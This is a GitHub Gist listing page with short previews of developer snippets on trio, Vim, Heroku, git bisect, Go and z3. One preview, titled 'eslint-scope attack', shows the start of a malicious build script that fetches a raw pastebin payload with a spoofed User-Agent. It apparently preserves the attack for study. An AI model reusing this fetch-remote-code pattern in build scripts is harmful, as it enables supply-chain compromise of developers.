Skip to content

Instantly share code, notes, and snippets.

View math2001's full-sized avatar

Mathieu PATUREL math2001

View GitHub Profile
import trio
import trio.testing
# A simple protocol where messages are single bytes b"a", b"b", b"c", etc.,
# and each one is acknowledged by echoing it back uppercased. So send b"a",
# get b"A", etc.
# To make it easier to shut down, message b"z" causes the receiver to exit.
async def receiver(stream):
@LunarLambda
LunarLambda / vim-indentation-guide.md
Created September 30, 2019 22:43
A Best Effort Guide to Vim's Indentation Settings.

Vim 'Indentation Hell': A Best Effort Guide

I love Vim. But it isn't perfect, unfortunately.
And one part that is particularly confusing when setting up for the first time is indentation.
This guide strives to cover what options are relevant, what they do, how they interact, and how to set them up for most popular indentation styles.

Meet The Cast

Vim has 5 options relating to (manual) indentation:

@gmolveau
gmolveau / fathom_to_heroku.md
Last active July 11, 2020 18:06
How to push Fathom analytics - https://github.com/usefathom/fathom to Heroku

Deploy Fathom on Heroku

Requirements

  • heroku cli (logged in)
  • git
  • curl
  • wget
  • tar are required
  • ~ openssl is required to generate the secret_key, but you're free to use what you want
@dominicsayers
dominicsayers / git-bisect-cheatsheet.md
Last active October 22, 2020 08:24
git bisect cheatsheet
$ git bisect start
$ git bisect bad
$ git bisect good dd9b00ad73d71a84e11523c062048daaa8e590e9
Bisecting: 14 revisions left to test after this (roughly 4 steps)
[e6ac8fb2b6c9ee04d0600690f477e785f6c02330] Delegate create_graph_node to the graph client
$ git bisect run rspec ./spec/integration/company_branch_spec.rb:49

...
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",

gif-from-tweet

There are so many great GIFs out there and I want to have copies of them. Twitter makes that harder than it should be by converting them to MP4 and not providing access to the source material. To make it easier, I made a bash pipeline that takes a tweet URL and a filename, extracts the MP4 from that tweet and uses ffmpeg to convert back to GIF.

Dependencies

  • ffmpeg
    • macOS: brew install ffmpeg
    • Ubuntu/Debian: apt install ffmpeg
@clipperhouse
clipperhouse / runereader.go
Created May 21, 2018 22:29
A PeekRune method for bufio.Reader
package jargon
import (
"bufio"
"fmt"
"io"
"unicode/utf8"
)
type RuneReader struct {
@ewxrjk
ewxrjk / connect.slow.txt
Last active January 15, 2020 08:09
connect errors are slow on windows
# 1s delay connecting to something that isn't listening:
richard@tsais MINGW64 ~/src/gosrc (master)
$ time plink -v -P 3000 wampoon
Connecting to 172.17.207.76 port 3000
We claim version: SSH-2.0-PuTTY_Release_0.70
Failed to connect to 172.17.207.76: Network error: Connection refused
Network error: Connection refused
FATAL ERROR: Network error: Connection refused
@romainl
romainl / vanilla-linter.md
Last active May 4, 2024 09:45
Linting your code, the vanilla way

Linting your code, the vanilla way

You may want a linter plugin to lint your code in Vim but you probably don't need it. At least try the built-in way before jumping on the plugin bandwagon.

Defining makeprg

autocmd FileType <filetype> setlocal makeprg=<external command>

This autocommand tells Vim to use <external command> when invoking :make % in a <filetype> buffer. You can add as many similar lines as needed for other languages.

@steinwaywhw
steinwaywhw / set.smt2
Last active October 15, 2023 00:32
Set in z3
; uninterpreted sort
(declare-sort Elt)
(define-sort Set (Elt) (Array Elt Bool))
; bijection Int <=> Elt
(declare-fun mkint (Int) Elt)
(declare-fun unmkint (Elt) Int)
(assert (forall ((x Int)) (= x (unmkint (mkint x)))))
(assert (forall ((e Elt)) (= e (mkint (unmkint e)))))